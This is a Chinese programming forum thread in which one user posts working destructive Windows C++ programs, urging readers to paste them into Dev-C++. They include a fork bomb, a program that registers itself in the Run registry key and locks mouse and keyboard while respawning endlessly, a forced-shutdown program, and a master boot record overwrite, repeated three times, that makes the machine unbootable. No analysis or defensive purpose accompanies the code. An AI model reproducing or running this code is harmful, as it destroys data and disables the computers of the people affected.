0
已解决
复制到dev-c++里:
#include<iostream>
using namespace std;
int main(){
for(;;){
system("start");
}
return 0;
}
杜果在2023-03-26 15:06:07追加了内容
试试就逝世
杜果在2023-03-26 15:08:32追加了内容
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
while (1)
{
FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
}
return 0L;
}
int main(int argc, char** argv)
{
fstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
_getch();
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
ofstream out("save.txt");
out << 1;
out.close();
}
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG ** = GetWindowLong(hWnd, GWL_STYLE);
** &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, **);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
}
return 0;
}
杜果在2023-03-26 15:12:09追加了内容
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{
system("Shutdown -s -t 60");
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);
}
杜果在2023-03-26 15:13:28追加了内容
#include <windows.h>
#include <winioctl.h>
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003 CD10 int 10h ;
00000005 BD187C mov bp, Msg ;
00000008 B91800 mov cx, 18h ;
0000000B B80113 mov ax, 1301h ;
0000000E BB0C00 mov bx, 000ch ;
00000011 BA1D0E mov dx, 0e1dh ;
00000014 CD10 int 10h ;
00000016 E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int main()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = { 0 };
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
L"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
杜果在2023-03-26 15:13:37追加了内容
#include <windows.h>
#include <winioctl.h>
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003 CD10 int 10h ;
00000005 BD187C mov bp, Msg ;
00000008 B91800 mov cx, 18h ;
0000000B B80113 mov ax, 1301h ;
0000000E BB0C00 mov bx, 000ch ;
00000011 BA1D0E mov dx, 0e1dh ;
00000014 CD10 int 10h ;
00000016 E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int main()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = { 0 };
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
L"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
杜果在2023-03-26 15:13:43追加了内容
#include <windows.h>
#include <winioctl.h>
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003 CD10 int 10h ;
00000005 BD187C mov bp, Msg ;
00000008 B91800 mov cx, 18h ;
0000000B B80113 mov ax, 1301h ;
0000000E BB0C00 mov bx, 000ch ;
00000011 BA1D0E mov dx, 0e1dh ;
00000014 CD10 int 10h ;
00000016 E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int main()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = { 0 };
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
L"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
0
0
0
0
0
0